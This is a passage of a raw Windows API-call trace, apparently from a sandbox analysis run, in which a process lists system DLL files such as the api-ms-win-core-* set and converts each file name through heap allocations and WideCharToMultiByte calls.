ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.144] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1dc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.144] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1dc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.145] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1dc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.145] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1dc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.145] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0164.145] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1dc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.146] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.146] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.146] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x1dc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0164.146] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.146] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.147] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.147] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.147] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.147] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.147] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x1dc120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.148] RtlFreeHeap 